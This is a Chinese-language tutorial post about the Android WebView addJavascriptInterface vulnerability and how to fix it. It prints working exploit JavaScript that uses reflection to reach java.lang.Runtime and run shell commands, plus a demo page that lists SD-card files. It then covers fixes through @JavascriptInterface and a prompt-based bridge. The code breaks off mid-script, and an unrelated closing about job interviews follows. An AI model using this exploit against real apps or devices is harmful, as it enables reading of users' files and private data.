Android WebView的Js对象注入漏洞解决方案

192 阅读6分钟

简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。

2,漏洞描述


通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述: 猛点这里

1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE

2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.

3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:

[javascript] view plain copy

print ?

  1. function execute(cmdArgs)  

  2. {  

  3.     for (var obj in window) {  

  4.         if (“getClass” in window[obj]) {  

  5.             alert(obj);  

  6.             return  window[obj].getClass().forName(“java.lang.Runtime”)  

  7.                  .getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);  

  8.         }  

  9.     }  

  10. }   

function execute(cmdArgs)

{

for (var obj in window) {

if ("getClass" in window[obj]) {

alert(obj);

return  window[obj].getClass().forName("java.lang.Runtime")

.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

}

3,漏洞证明


**举例一:**为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:

[html] view plain copy

print ?

  1. <html>  

  2.   <head>  

  3.     <meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8”>  

  4.     <script>  

  5.       var i=0;  

  6.       function getContents(inputStream)  

  7.       {  

  8.         var contents = “”+i;  

  9.         var b = inputStream.read();  

  10.         var i = 1;  

  11.         while(b != -1) {  

  12.             var bString = String.fromCharCode(b);  

  13.             contents += bString;  

  14.             contents += ”\n”  

  15.             b = inputStream.read();  

  16.         }  

  17.         i=i+1;  

  18.         return contents;  

  19.        }  

  20.        function execute(cmdArgs)  

  21.        {  

  22.         for (var obj in window) {  

  23.             console.log(obj);  

  24.             if (“getClass” in window[obj]) {  

  25.                 alert(obj);  

  26.                 return window[obj].getClass().forName(“java.lang.Runtime”).  

  27.                     getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);  

  28.              }  

  29.          }  

  30.        }   

  31.       var p = execute([“ls”,”/mnt/sdcard/”]);  

  32.       document.write(getContents(p.getInputStream()));  

  33.     </script>  

  34.     <script language=“javascript”>  

  35.       function onButtonClick()   

  36.       {  

  37.         // Call the method of injected object from Android source.  

  38.         var text = jsInterface.onButtonClick(“从JS中传递过来的文本!!!”);  

  39.         alert(text);  

  40.       }  

  41.       function onImageClick()   

  42.       {  

  43.         //Call the method of injected object from Android source.  

  44.         var src = document.getElementById(“image”).src;  

  45.         var width = document.getElementById(“image”).width;  

  46.         var height = document.getElementById(“image”).height;  

  47.         // Call the method of injected object from Android source.  

  48.         jsInterface.onImageClick(src, width, height);  

  49.       }  

  50.     </script>  

  51.   </head>  

  52.   <body>  

  53.       <p>点击图片把URL传到Java代码</p>  

  54.       <img class=“curved_box” id=“image”   

  55.          onclick=“onImageClick()”  

  56.          width=“328”  

  57.          height=“185”  

  58.          src=“t1.baidu.com/it/u=824022…  

  59.          onerror=“this.src=’background_chl.jpg’”/>  

  60.     </p>  

  61.     <button type=“button” onclick=“onButtonClick()”>与Java代码交互</button>  

  62.   </body>  

  63. </html>  

点击图片把URL传到Java代码

<img class="curved_box" id="image"

οnclick="onImageClick()"

width="328"

height="185"

src="t1.baidu.com/it/u=824022…"

οnerrοr="this.src='background_chl.jpg'"/>

<button type="button" οnclick="onButtonClick()">与Java代码交互

这段HTML的运行效果如下:

图一:期望运行结果图

上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。

要实现这样的功能,就需要注Java对象。

简单说明一下

1,请看 **execute()**这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。

2,getContents()方法,从流中读取内容,显示在界面上。

3,关键的代码就是以下两句

[javascript] view plain copy

print ?

  1. return window[obj].getClass().forName(“java.lang.Runtime”).  

  2.                     getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);  

return window[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

Java代码实现如下:

[java] view plain copy

print ?

  1. mWebView = (WebView) findViewById(R.id.webview);  

  2. mWebView.getSettings().setJavaScriptEnabled(true);  

  3. mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);  

  4. mWebView.loadUrl(”file:///android_asset/html/test.html”);  

mWebView = (WebView) findViewById(R.id.webview);

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

mWebView.loadUrl("file:///android_asset/html/test.html");

需要添加的权限:

[html] view plain copy

print ?

  1. <uses-permission android:name=“android.permission.INTERNET”/>  

  2. <uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE” />  

  3. <uses-permission android:name=“android.permission.WRITE_EXTERNAL_STORAGE” />  

当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)

图二:实际运行结果,列出了SDCard中的文件

**举例二:**360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7

在浏览器输入框中输入:bitkiller.duapp.com/jsobj.html,…

图三:360浏览器运行结果

说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。

在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示

图四:错误结果

4,解决方案


1,Android 4.2以上的系统

在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:

[java] view plain copy

print ?

  1. class JsObject {  

  2.    @JavascriptInterface  

  3.    public String toString() { return “injectedObject”; }  

  4. }  

  5. webView.addJavascriptInterface(new JsObject(), “injectedObject”);  

  6. webView.loadData(”“, “text/html”, null);  

  7. webView.loadUrl(”javascript:alert(injectedObject.toString())”);  

class JsObject {

@JavascriptInterface

public String toString() { return "injectedObject"; }

}

webView.addJavascriptInterface(new JsObject(), "injectedObject");

webView.loadData("", "text/html", null);

webView.loadUrl("javascript:alert(injectedObject.toString())");

2,Android 4.2以下的系统

这个问题比较难解决,但也不是不能解决。

首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到 WebChromeClient类中相应的方法,对于prompt,它对应的方法是 onJsPrompt方法,这个方法的声明如下:

[java] view plain copy

print ?

  1. public boolean onJsPrompt(WebView view, String url, String message,   

  2.     String defaultValue, JsPromptResult result)  

public boolean onJsPrompt(WebView view, String url, String message,

String defaultValue, JsPromptResult result)

通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?

经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:

【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含: 特定标识,方法名称,参数等。在 onJsPrompt方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。

【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。

【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:

[javascript] view plain copy

print ?

  1. javascript:(function JsAddJavascriptInterface_(){  

  2.     if (typeof(window.jsInterface)!=‘undefined’) {      

  3.         console.log(’window.jsInterface_js_interface_name is exist!!’);}   

  4.     else {  

  5.         window.jsInterface = {          

  6.             onButtonClick:function(arg0) {   

  7.                 return prompt(‘MyApp:’+JSON.stringify({obj:‘jsInterface’,func:‘onButtonClick’,args:[arg0]}));  

  8.             },  

  9.             onImageClick:function(arg0,arg1,arg2) {   

  10.                 prompt(’MyApp:’+JSON.stringify({obj:‘jsInterface’,func:‘onImageClick’,args:[arg0,arg1,arg2]}));  

  11.             },  

  12.         };  

  13.     }  

  14. }  

  15. )()  

javascript:(function JsAddJavascriptInterface_(){

if (typeof(window.jsInterface)!='undefined') {

console.log('window.jsInterface_js_interface_name is exist!!');}

else {

window.jsInterface = {

onButtonClick:function(arg0) {

return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));

},

onImageClick:function(arg0,arg1,arg2) {

prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));

最后

今天的文章可谓是积蓄了我这几年来的应聘和面试经历总结出来的经验,干货满满呀!如果你能够一直坚持看到这儿,那么首先我还是十分佩服你的毅力的。不过光是看完而不去付出行动,或者直接进入你的收藏夹里吃灰,那么我写这篇文章就没多大意义了。所以看完之后,还是多多行动起来吧!

可以非常负责地说,如果你能够坚持把我上面列举的内容都一个不拉地看完并且全部消化为自己的知识的话,那么你就至少已经达到了中级开发工程师以上的水平,进入大厂技术这块是基本没有什么问题的了。

开源分享:docs.qq.com/doc/DSmRnRG…